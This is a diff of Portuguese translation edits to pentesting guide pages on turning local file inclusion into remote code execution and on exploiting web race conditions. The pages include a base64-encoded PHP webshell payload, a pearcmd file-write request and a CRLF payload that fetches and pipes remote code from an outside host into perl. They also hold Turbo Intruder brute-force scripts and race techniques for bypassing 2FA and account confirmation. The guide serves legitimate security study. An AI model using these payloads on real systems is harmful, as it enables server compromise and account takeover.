-Se o ssh estiver ativo, verifique qual usuário está sendo usado (/proc/self/status & /etc/passwd) e tente acessar **\<HOME>/.ssh/id_rsa**
+Se o ssh estiver ativo, verifique qual user está sendo usado (/proc/self/status & /etc/passwd) e tente acessar **\<HOME>/.ssh/id_rsa**
 ### **Via** **vsftpd** _**logs**_
-Os logs do servidor FTP vsftpd estão localizados em _**/var/log/vsftpd.log**_. No cenário em que exista uma vulnerabilidade de Local File Inclusion (LFI) e seja possível acessar um servidor vsftpd exposto, podem ser considerados os seguintes passos:
+Os logs do FTP server vsftpd estão localizados em _**/var/log/vsftpd.log**_. No cenário em que existe uma vulnerabilidade de Local File Inclusion (LFI), e é possível acessar um servidor vsftpd exposto, os seguintes passos podem ser considerados:
-1. Injete um PHP payload no campo username durante o processo de login.
+1. Injete um payload PHP no campo username durante o processo de login.
-2. Após a injeção, utilize a LFI para recuperar os logs do servidor em _**/var/log/vsftpd.log**_.
+2. Após a injeção, utilize o LFI para recuperar os logs do servidor em _**/var/log/vsftpd.log**_.
 ### Via php base64 filter (using base64)
-As shown in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter just ignore Non-base64. Você pode usar isso para contornar a verificação de extensão de arquivo: se você fornecer base64 que termine com ".php", ele simplesmente ignorará o "." e anexará "php" ao base64. Aqui está um exemplo de payload:
+Como mostrado em [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artigo, PHP base64 filter simplesmente ignora Non-base64. Você pode usar isso para burlar a checagem de extensão de arquivo: se você fornecer base64 que termine com ".php", ele simplesmente vai ignorar o "." e anexar "php" ao base64. Aqui está um exemplo de payload:
 ```url
 http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
@ -570,7 +570,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
 ```
 ### Via php filters (no file needed)
-Este [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que você pode usar **php filters para gerar conteúdo arbitrário** como saída. O que basicamente significa que você pode **gerar código php arbitrário** para o include **sem precisar escrevê-lo** em um arquivo.
+This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explains that you can use **php filters to generate arbitrary content** as output. O que basicamente significa que você pode **generate arbitrary php code** para o include **sem precisar escrevê‑lo** em um arquivo.
 {{#ref}}
@ -579,7 +579,7 @@ lfi2rce-via-php-filters.md
 ### Via segmentation fault
-**Faça upload** de um arquivo que será armazenado como **temporário** em `/tmp`, então na **mesma requisição,** provoque um **segmentation fault**, e então o **arquivo temporário não será deletado** e você pode procurá-lo.
+**Upload** um arquivo que será armazenado como **temporário** em `/tmp`, então na **mesma requisição,** provoque um **segmentation fault**, e então o **arquivo temporário não será deletado** e você pode procurá‑lo.
 {{#ref}}
@ -588,7 +588,7 @@ lfi2rce-via-segmentation-fault.md
 ### Via Nginx temp file storage
-Se você encontrou uma **Local File Inclusion** e o **Nginx** está rodando na frente do PHP, você pode ser capaz de obter RCE com a técnica a seguir:
+Se você encontrou uma **Local File Inclusion** e **Nginx** está rodando na frente do PHP, você pode conseguir RCE com a técnica a seguir:
 {{#ref}}
@ -597,7 +597,7 @@ lfi2rce-via-nginx-temp-files.md
 ### Via PHP_SESSION_UPLOAD_PROGRESS
-Se você encontrou uma **Local File Inclusion** mesmo que você **não tenha uma sessão** e `session.auto_start` esteja `Off`. Se você fornecer o **`PHP_SESSION_UPLOAD_PROGRESS`** em dados **multipart POST**, o PHP irá **ativar a sessão para você**. Você pode abusar disso para obter RCE:
+Se você encontrou uma **Local File Inclusion** mesmo se você **não tiver uma sessão** e `session.auto_start` estiver `Off`. Se você fornecer o **`PHP_SESSION_UPLOAD_PROGRESS`** em dados **multipart POST**, o PHP irá **ativar a sessão para você**. Você pode abusar disso para obter RCE:
 {{#ref}}
@ -606,7 +606,7 @@ via-php_session_upload_progress.md
 ### Via temp file uploads in Windows
-Se você encontrou uma **Local File Inclusion** e o servidor está rodando em **Windows**, você pode obter RCE:
+Se você encontrou uma **Local File Inclusion** e o servidor está rodando em **Windows**, você pode conseguir RCE:
 {{#ref}}
@ -615,13 +615,13 @@ lfi2rce-via-temp-file-uploads.md
 ### Via `pearcmd.php` + URL args
-As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
+As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Além disso, é possível passar argumentos para o script via a URL porque está indicado que se um parâmetro de URL não tiver um `=`, ele deve ser usado como argumento. Veja também [watchTowr’s write‑up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
-The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
+A requisição a seguir cria um arquivo em `/tmp/hello.php` com o conteúdo `<?=phpinfo()?>`:
 ```bash
 GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
 ```
-O seguinte explora uma CRLF vuln para obter RCE (de [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
+O seguinte abusa de uma vuln CRLF para obter RCE (de [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
 ```
 http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
 Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
@ -630,7 +630,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
 ```
 ### Via phpinfo() (file_uploads = on)
-Se você encontrou uma **Local File Inclusion** e um arquivo expondo **phpinfo()** com file_uploads = on, você pode obter RCE:
+Se você encontrou um **Local File Inclusion** e um arquivo expondo **phpinfo()** com file_uploads = on você pode obter RCE:
 {{#ref}}
@ -639,7 +639,7 @@ lfi2rce-via-phpinfo.md
 ### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
-Se você encontrou uma **Local File Inclusion** e você **pode exfiltrar o path** do arquivo temporário MAS o **server** está **checando** se o **arquivo a ser incluído tem PHP marks**, você pode tentar **bypassar essa checagem** com esta **Race Condition**:
+Se você encontrou um **Local File Inclusion** e você **can exfiltrate the path** do arquivo temporário, mas o **server** está **checking** se o **file to be included has PHP marks**, você pode tentar **bypass that check** com esta **Race Condition**:
 {{#ref}}
@ -648,19 +648,19 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
 ### Via eternal waiting + bruteforce
-Se você conseguir abusar do LFI para **upload temporary files** e fazer o **server** **hang** a execução do PHP, você poderia então **brute force** nomes de arquivo por horas para encontrar o arquivo temporário:
+Se você consegue abusar do LFI para **upload temporary files** e fazer o **server** **hang** a execução do PHP, você então poderia **brute force filenames durante horas** para encontrar o arquivo temporário:
 {{#ref}}
 lfi2rce-via-eternal-waiting.md
 {{#endref}}
-### Para Fatal Error
+### To Fatal Error
-Se você incluir qualquer um dos arquivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (É preciso incluir o mesmo arquivo 2 vezes para provocar esse erro).
+Se você incluir qualquer um dos arquivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Você precisa incluir o mesmo duas vezes para provocar esse erro).
-**Não sei quão útil isso é, mas pode ser.**\
+**Não sei como isso é útil, mas pode ser.**\
-_Mesmo que você cause um PHP Fatal Error, os arquivos temporários do PHP carregados são deletados._
+_Mesmo que você cause um PHP Fatal Error, os arquivos temporários do PHP enviados são deletados._
 <figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
--- a/src/pentesting-web/race-condition.md
+++ b/src/pentesting-web/race-condition.md
@ -3,47 +3,47 @@
 {{#include ../banners/hacktricks-training.md}}
 > [!WARNING]
-> Para obter uma compreensão profunda desta técnica, consulte o relatório original em [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
+> Para obter um entendimento aprofundado desta técnica, consulte o relatório original em [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
-## Aprimorando ataques de Race Condition
+## Enhancing Race Condition Attacks
-O principal obstáculo para explorar race conditions é garantir que múltiplas requisições sejam processadas ao mesmo tempo, com **diferença muito pequena nos seus tempos de processamento — idealmente, menos de 1ms**.
+O principal obstáculo em aproveitar race conditions é garantir que múltiplas requests sejam tratadas ao mesmo tempo, com uma diferença muito pequena em seus tempos de processamento — idealmente, menos de 1ms.
-Aqui você encontra algumas técnicas para sincronizar requisições:
+Aqui você pode encontrar algumas técnicas para Synchronizing Requests:
 #### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization
- **HTTP/2**: Suporta o envio de duas requisições sobre uma única conexão TCP, reduzindo o impacto do jitter de rede. Contudo, devido a variações do lado do servidor, duas requisições podem não ser suficientes para um exploit consistente de race condition.
+- **HTTP/2**: Suporta enviar duas requests sobre uma única conexão TCP, reduzindo o impacto do jitter de rede. Contudo, devido a variações no lado do servidor, duas requests podem não ser suficientes para um exploit consistente de race condition.
- **HTTP/1.1 'Last-Byte Sync'**: Permite pré-enviar a maior parte de 20-30 requisições, retendo um pequeno fragmento que é enviado em conjunto, alcançando chegada simultânea no servidor.
+- **HTTP/1.1 'Last-Byte Sync'**: Permite pré-enviar a maior parte de 20-30 requests, retendo um pequeno fragmento, que é então enviado junto, alcançando chegada simultânea no servidor.
-**Preparação para Last-Byte Sync** envolve:
+**Preparation for Last-Byte Sync** envolve:
-1. Enviar headers e dados do body menos o último byte sem encerrar o stream.
+1. Enviar headers e dados do body menos o byte final sem finalizar o stream.
 2. Pausar por 100ms após o envio inicial.
-3. Desabilitar TCP_NODELAY para utilizar o algoritmo de Nagle e agrupar os frames finais.
+3. Desabilitar TCP_NODELAY para utilizar o Nagle's algorithm para agrupar os frames finais.
 4. Fazer ping para aquecer a conexão.
-O envio subsequente dos frames retidos deve resultar na chegada deles em um único pacote, verificável via Wireshark. Esse método não se aplica a arquivos estáticos, que normalmente não estão envolvidos em ataques RC.
+O envio subsequente dos frames retidos deve resultar na chegada deles em um único packet, verificável via Wireshark. Este método não se aplica a static files, que normalmente não estão envolvidos em RC attacks.
-### Adaptando-se à arquitetura do servidor
+### Adapting to Server Architecture
-Entender a arquitetura do alvo é crucial. Servidores front-end podem rotear requisições de formas diferentes, afetando o timing. Pré-aquecer conexões do lado do servidor, através de requisições sem importância, pode normalizar o tempo das requisições.
+Entender a arquitetura do alvo é crucial. Front-end servers podem rotear requests de forma diferente, afetando o timing. Aquecer conexões do lado do servidor de forma preemptiva, por meio de requests sem importância, pode normalizar o timing das requests.
-#### Lidando com bloqueio baseado em sessão
+#### Handling Session-Based Locking
-Frameworks como o session handler do PHP serializam requisições por sessão, potencialmente ocultando vulnerabilidades. Utilizar tokens de sessão diferentes para cada requisição pode contornar esse problema.
+Frameworks como o session handler do PHP serializam requests por session, potencialmente ocultando vulnerabilidades. Usar diferentes session tokens para cada request pode contornar esse problema.
-#### Superando limites de taxa ou de recursos
+#### Overcoming Rate or Resource Limits
-Se o aquecimento de conexão não for efetivo, provocar intencionalmente delays de limite de taxa ou de recursos do web server por meio de um flood de requisições dummy pode facilitar o single-packet attack ao induzir um atraso do lado do servidor propício para race conditions.
+Se o aquecimento de conexão for ineficaz, provocar intencionalmente atrasos de limite de rate ou de resource dos web servers através de um flood de dummy requests pode facilitar o single-packet attack, induzindo um delay do lado do servidor que favorece race conditions.
-## Exemplos de ataque
+## Attack Examples
- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: Você pode enviar a requisição para **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), você pode mudar na requisição o valor que deseja testar por força bruta para **`%s`** como em `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` e então selecionar o **`examples/race-single-packer-attack.py`** no menu suspenso:
+- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: Você pode enviar a request para **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), alterar na request o valor que quer brute force para **`%s`** como em `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` e então selecionar o **`examples/race-single-packer-attack.py`** no menu suspenso:
 <figure><img src="../images/image (57).png" alt=""><figcaption></figcaption></figure>
-Se você for enviar valores diferentes, pode modificar o código para usar esta versão que utiliza uma wordlist da área de transferência:
+Se você for enviar **send different values**, você pode modificar o código com este que usa uma wordlist do clipboard:
 ```python
 passwords = wordlists.clipboard
 for password in passwords:
@ -52,7 +52,7 @@ engine.queue(target.req, password, gate='race1')
 > [!WARNING]
 > Se o site não suportar HTTP2 (apenas HTTP1.1) use `Engine.THREADED` ou `Engine.BURP` em vez de `Engine.BURP2`.
- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: Caso você precise enviar uma requisição para 1 endpoint e então várias para outros endpoints para disparar a RCE, você pode alterar o script `race-single-packet-attack.py` com algo como:
+- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: Caso você precise enviar uma requisição para 1 endpoint e depois várias para outros endpoints para acionar a RCE, você pode alterar o script `race-single-packet-attack.py` para algo como:
 ```python
 def queueRequests(target, wordlists):
 engine = RequestEngine(endpoint=target.endpoint,
@ -83,16 +83,16 @@ engine.queue(confirmationReq, gate=currentAttempt)
 # send all the queued requests for this attempt
 engine.openGate(currentAttempt)
 ```
- Também está disponível no **Repeater** através da nova opção '**Send group in parallel**' no Burp Suite.
+- Também está disponível no **Repeater** através da nova opção '**Send group in parallel**' do Burp Suite.
- Para **limit-overrun** você pode simplesmente adicionar a **mesma request 50 vezes** no group.
+- Para **limit-overrun** você pode simplesmente adicionar a **mesma request 50 vezes** no **group**.
- Para **connection warming**, você pode **adicionar** no **início** do **group** algumas **requests** para alguma parte não estática do servidor web.
+- Para **connection warming**, você pode **adicionar**, no **início** do **group**, algumas **requests** para alguma parte não estática do servidor web.
- Para **delaying** o processo **entre** o processamento **de uma request e outra** em um passo de 2 subestados, você pode **adicionar requests extras entre** as duas requests.
+- Para **delaying** o processo **entre** o processamento **de uma request e outra** em dois passos de substates, você pode **adicionar requests extras entre** as duas requests.
- Para um **multi-endpoint** RC você pode começar enviando a **request** que **vai para o hidden state** e então **50 requests** logo em seguida que **exploram o hidden state**.
+- Para um **multi-endpoint** RC você pode começar enviando a **request** que **vai para o hidden state** e então **50 requests** logo depois que **exploram o hidden state**.
 <figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>
- **Automated python script**: O objetivo deste script é alterar o email de um usuário enquanto o verifica continuamente até que o token de verificação do novo email chegue ao último email (isto porque no código foi observado um RC onde era possível modificar um email mas a verificação ser enviada para o antigo, porque a variável indicando o email já estava populada com o primeiro).\
+- **Automated python script**: O objetivo deste script é alterar o email de um usuário enquanto verifica continuamente até que o token de verificação do novo email chegue ao último email (isso aconteceu porque no código havia um RC onde era possível modificar um email mas a verificação era enviada para o antigo, pois a variável indicando o email já estava populada com o primeiro).\
-Quando a palavra "objetivo" for encontrada nos emails recebidos, sabemos que recebemos o token de verificação do email alterado e encerramos o ataque.
+Quando a palavra "objetivo" é encontrada nos emails recebidos, sabemos que recebemos o token de verificação do email alterado e encerramos o ataque.
 ```python
 # https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
 # Script from victor to solve a HTB challenge
@ -217,21 +217,28 @@ h2_conn.close_connection()
 response = requests.get(url, verify=False)
 ```
 #### Turbo Intruder: notas sobre engine e gating
 - Seleção de engine: use `Engine.BURP2` em alvos HTTP/2 para disparar o single‑packet attack; use `Engine.THREADED` ou `Engine.BURP` como fallback para sincronização last‑byte em HTTP/1.1.
 - `gate`/`openGate`: enfileire muitas cópias com `gate='race1'` (ou gates por tentativa), que retém a cauda de cada requisição; `openGate('race1')` libera todas as caudas juntas para que cheguem quase simultaneamente.
 - Diagnóstico: timestamps negativos no Turbo Intruder indicam que o servidor respondeu antes da requisição ser totalmente enviada, confirmando sobreposição. Isso é esperado em condições de corrida reais.
 - Aquecimento de conexão: envie um ping ou algumas requisições inofensivas primeiro para estabilizar os tempos; opcionalmente desative `TCP_NODELAY` para encorajar o agrupamento dos frames finais.
 ### Melhorando Single Packet Attack
-Na pesquisa original é explicado que esse ataque tem um limite de 1,500 bytes. Entretanto, em [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), foi explicado como é possível estender a limitação de 1,500 bytes do single packet attack para a **65,535 B window limitation of TCP by using IP layer fragmentation** (dividindo um único pacote em múltiplos pacotes IP) e enviando-os em ordem diferente, evitando o reassembly do pacote até que todos os fragmentos cheguem ao servidor. Essa técnica permitiu ao pesquisador enviar 10,000 requests em cerca de 166ms.
+Na pesquisa original é explicado que esse ataque tem um limite de 1.500 bytes. No entanto, em [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), foi explicado como é possível estender a limitação de 1.500 bytes do single packet attack para a **limitação de janela de 65,535 B do TCP usando fragmentação na camada IP** (dividindo um único pacote em múltiplos pacotes IP) e enviando-os em ordens diferentes, o que impede a remontagem do pacote até que todos os fragmentos cheguem ao servidor. Essa técnica permitiu ao pesquisador enviar 10.000 requisições em cerca de 166 ms.
-Observe que, embora essa melhoria torne o ataque mais confiável em RC que requerem centenas/milhares de pacotes chegarem ao mesmo tempo, ela também pode ter algumas limitações de software. Alguns servidores HTTP populares como Apache, Nginx e Go possuem uma configuração rígida `SETTINGS_MAX_CONCURRENT_STREAMS` para 100, 128 e 250. Entretanto, outros como NodeJS e nghttp2 têm isso ilimitado.\
+Observe que, embora essa melhoria torne o ataque mais confiável em RC que requer centenas/milhares de pacotes para chegarem ao mesmo tempo, ela também pode ter limitações de software. Alguns servidores HTTP populares como Apache, Nginx e Go têm uma configuração estrita `SETTINGS_MAX_CONCURRENT_STREAMS` definida para 100, 128 e 250. No entanto, outros como NodeJS e nghttp2 a têm ilimitada.\
-Isso basicamente significa que o Apache considerará apenas 100 conexões HTTP de uma única conexão TCP (limitando esse ataque RC).
+Isso basicamente significa que o Apache considerará apenas 100 conexões HTTP a partir de uma única conexão TCP (limitando este ataque RC).
-Você pode encontrar alguns exemplos usando esta técnica no repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
+Você pode encontrar alguns exemplos usando essa técnica no repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
 ## Raw BF
-Antes da pesquisa anterior, estes foram alguns payloads usados que apenas tentavam enviar os pacotes o mais rápido possível para causar um RC.
+Antes da pesquisa anterior, estes eram alguns payloads usados que apenas tentavam enviar os pacotes o mais rápido possível para causar um RC.
- **Repeater:** Veja os exemplos da seção anterior.
+- **Repeater:** Consulte os exemplos da seção anterior.
- **Intruder**: Envie a **request** para o **Intruder**, ajuste o **number of threads** para **30** dentro do **Options menu**, selecione como payload **Null payloads** e gere **30**.
+- **Intruder**: Envie o **request** para o **Intruder**, defina o **number of threads** para **30** dentro do **Options menu**, selecione como payload **Null payloads** e gere **30**.
 - **Turbo Intruder**
 ```python
 def queueRequests(target, wordlists):
@ -281,73 +288,73 @@ asyncio.run(main())
 ```
 ## **Metodologia RC**
-### Limit-overrun / TOCTOU
+### Extrapolação de limite / TOCTOU
-Este é o tipo mais básico de race condition onde **vulnerabilities** que **appear** em lugares que **limit the number of times you can perform an action**. Como usar o mesmo discount code em uma loja web várias vezes. Um exemplo bem simples pode ser encontrado em [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) ou em [**this bug**](https://hackerone.com/reports/759247)**.**
+Este é o tipo mais básico de race condition onde **vulnerabilidades** que **aparecem** em pontos que **limitam o número de vezes que você pode realizar uma ação**. Como usar o mesmo código de desconto em uma loja web várias vezes. Um exemplo bem simples pode ser encontrado em [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) ou em [**this bug**](https://hackerone.com/reports/759247)**.**
 Existem muitas variações desse tipo de ataque, incluindo:
- Resgatar um gift card múltiplas vezes
+- Resgatar um cartão-presente várias vezes
- Avaliar um produto múltiplas vezes
+- Avaliar um produto várias vezes
- Sacar ou transferir cash em excesso do seu account balance
+- Sacar ou transferir dinheiro além do saldo da sua conta
- Reutilizar uma única solução de CAPTCHA
+- Reutilizar a mesma solução de CAPTCHA
- Bypassing um anti-brute-force rate limit
+- Contornar um rate limit anti-brute-force
 ### **Subestados ocultos**
-Explorar race conditions complexas frequentemente envolve aproveitar oportunidades breves para interagir com subestados de máquina ocultos ou **unintended machine substates**. Aqui está como abordar isso:
+Explorar race conditions complexas frequentemente envolve aproveitar breves oportunidades para interagir com subestados de máquina ocultos ou **não intencionais**. Aqui está como abordar isto:
-1. **Identify Potential Hidden Substates**
+1. **Identificar Subestados Ocultos Potenciais**
- Comece apontando endpoints que modificam ou interagem com dados críticos, como perfis de usuário ou processos de password reset. Foque em:
+- Comece localizando endpoints que modificam ou interagem com dados críticos, como perfis de usuário ou processos de reset de senha. Foque em:
- **Storage**: Prefira endpoints que manipulam dados persistentes do lado do servidor em vez daqueles que lidam com dados no cliente.
+- **Armazenamento**: Prefira endpoints que manipulam dados persistentes no lado do servidor em vez daqueles que lidam com dados no lado do cliente.
- **Action**: Procure operações que alterem dados existentes, que têm maior probabilidade de criar condições exploráveis comparadas com operações que adicionam novos dados.
+- **Ação**: Procure operações que alterem dados existentes, que têm maior probabilidade de criar condições exploráveis em comparação com as que adicionam novos dados.
- **Keying**: Ataques bem-sucedidos geralmente envolvem operações keyed no mesmo identificador, por exemplo, username ou reset token.
+- **Chaveamento**: Ataques bem-sucedidos normalmente envolvem operações indexadas pela mesma identificação, por exemplo, nome de usuário ou token de reset.
-2. **Conduct Initial Probing**
+2. **Realizar sondagem inicial**
- Teste os endpoints identificados com ataques de race condition, observando quaisquer desvios do resultado esperado. Respostas inesperadas ou mudanças no comportamento da aplicação podem sinalizar uma vulnerabilidade.
+- Teste os endpoints identificados com ataques de race condition, observando quaisquer desvios dos resultados esperados. Respostas inesperadas ou mudanças no comportamento da aplicação podem sinalizar uma vulnerabilidade.
-3. **Demonstrate the Vulnerability**
+3. **Demonstrar a Vulnerabilidade**
- Reduza o ataque ao número mínimo de requests necessárias para explorar a vulnerabilidade, muitas vezes apenas duas. Este passo pode requerer múltiplas tentativas ou automação devido ao timing preciso envolvido.
+- Reduza o ataque ao número mínimo de requisições necessárias para explorar a vulnerabilidade, frequentemente apenas duas. Este passo pode requerer múltiplas tentativas ou automação devido ao timing preciso envolvido.
-### Time Sensitive Attacks
+### Ataques Sensíveis ao Tempo
-Precisão no timing das requests pode revelar vulnerabilidades, especialmente quando métodos previsíveis como timestamps são usados para security tokens. Por exemplo, gerar password reset tokens baseados em timestamps pode permitir tokens idênticos para requests simultâneas.
+Precisão na temporização das requisições pode revelar vulnerabilidades, especialmente quando métodos previsíveis como timestamps são usados para tokens de segurança. Por exemplo, gerar tokens de redefinição de senha baseados em timestamps pode permitir tokens idênticos para requisições simultâneas.
-**To Exploit:**
+**Para Explorar:**
- Use timing preciso, como um single packet attack, para fazer concurrent password reset requests. Tokens idênticos indicam uma vulnerabilidade.
+- Use temporização precisa, como um ataque de pacote único, para fazer requisições de password reset concorrentes. Tokens idênticos indicam uma vulnerabilidade.
-**Example:**
+**Exemplo:**
- Requisite dois password reset tokens ao mesmo tempo e compare-os. Tokens iguais sugerem uma falha na geração de tokens.
+- Solicite dois tokens de password reset ao mesmo tempo e compare-os. Tokens iguais sugerem uma falha na geração de tokens.
-**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **to try this.**
+**Confira** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **para experimentar isso.**
-## Hidden substates case studies
+## Estudos de caso de subestados ocultos
-### Pay & add an Item
+### Pagar e adicionar um item
-Check this [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) to see how to **pay** in a store and **add an extra** item you that **won't need to pay for it**.
+Confira este [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) para ver como **pagar** em uma loja e **adicionar um item extra** que você **não precisará pagar**.
-### Confirm other emails
+### Confirmar outros emails
-A ideia é **verify an email address and change it to a different one at the same time** para descobrir se a plataforma verifica o novo que foi alterado.
+A ideia é **verificar um endereço de email e alterá-lo para outro ao mesmo tempo** para descobrir se a plataforma verifica o novo endereço.
-### Change email to 2 emails addresses Cookie based
+### Alterar email para 2 endereços de email — baseado em Cookie
-De acordo com [**this research**](https://portswigger.net/research/smashing-the-state-machine) o Gitlab era vulnerável a takeover dessa forma porque poderia **send** o **email verification token of one email to the other email**.
+De acordo com [**this research**](https://portswigger.net/research/smashing-the-state-machine) o Gitlab estava vulnerável a um takeover dessa forma porque poderia **enviar** o **token de verificação de email de um email para o outro**.
-**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **to try this.**
+**Confira** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **para experimentar isso.**
-### Hidden Database states / Confirmation Bypass
+### Estados ocultos do banco de dados / Bypass de Confirmação
-Se **2 different writes** são usadas para **add** **information** dentro de um **database**, existe uma pequena porção de tempo onde **only the first data has been written** dentro do database. Por exemplo, ao criar um usuário o **username** e **password** podem ser **written** e **then the token** para confirmar a conta recém-criada é escrito. Isso significa que por um curto período o **token to confirm an account is null**.
+Se **2 gravações diferentes** são usadas para **adicionar** **informação** dentro de um **banco de dados**, existe uma pequena janela de tempo onde **apenas os primeiros dados foram escritos** no banco de dados. Por exemplo, ao criar um usuário o **nome de usuário** e a **senha** podem ser **gravados** e **depois o token** para confirmar a conta recém-criada é escrito. Isso significa que por um pequeno intervalo o **token para confirmar uma conta é nulo**.
-Therefore **registering an account and sending several requests with an empty token** (`token=` or `token[]=` or any other variation) to confirm the account right away could allow to c**onfirm an account** where you don't control the email.
+Portanto, **registrar uma conta e enviar várias requisições com um token vazio** (`token=` or `token[]=` or any other variation) para confirmar a conta imediatamente poderia permitir **confirmar uma conta** cuja caixa de email você não controla.
-**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **to try this.**
+**Confira** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **para experimentar isso.**
 ### Bypass 2FA
-The following pseudo-code is vulnerable to race condition because in a very small time the **2FA is not enforced** while the session is created:
+O pseudo-código a seguir é vulnerável a race condition porque em uma janela muito pequena a **2FA não é aplicada** enquanto a sessão é criada:
 ```python
 session['userid'] = user.userid
 if user.mfa_enabled:
@ -357,21 +364,21 @@ session['enforce_mfa'] = True
 ```
 ### OAuth2 persistência eterna
-There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Esses serviços permitem que você crie uma aplicação e autentique usuários que o provedor registrou. Para isso, o **client** precisará **permitir que sua aplicação** acesse alguns dos seus dados dentro do **OAUth provider**.\
+Existem vários [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Esses serviços permitem que você crie uma aplicação e autentique usuários que o provider registrou. Para isso, o **client** precisará **permitir que sua aplicação** acesse parte dos dados deles dentro do **OAUth provider**.\
-Então, até aqui é só um login comum com google/linkedin/github... onde você é apresentado a uma página dizendo: "_Application \<InsertCoolName> wants to access your information, do you want to allow it?_"
+Ou seja, até aqui é apenas um login comum com google/linkedin/github... onde você vê uma página dizendo: "_Application \<InsertCoolName> quer acessar suas informações, deseja permitir?_"
 #### Race Condition em `authorization_code`
-O **problema** aparece quando você **o aceita** e automaticamente envia um **`authorization_code`** para a aplicação maliciosa. Então, essa **aplicação abusa de uma Race Condition no provedor de serviços OAUth para gerar mais de um AT/RT** (_Authentication Token/Refresh Token_) a partir do **`authorization_code`** para sua conta. Basicamente, ela irá explorar o fato de que você aceitou que a aplicação acesse seus dados para **criar várias contas**. Depois, se você **parar de permitir que a aplicação acesse seus dados**, um par de AT/RT será deletado, mas os outros ainda permanecerão válidos.
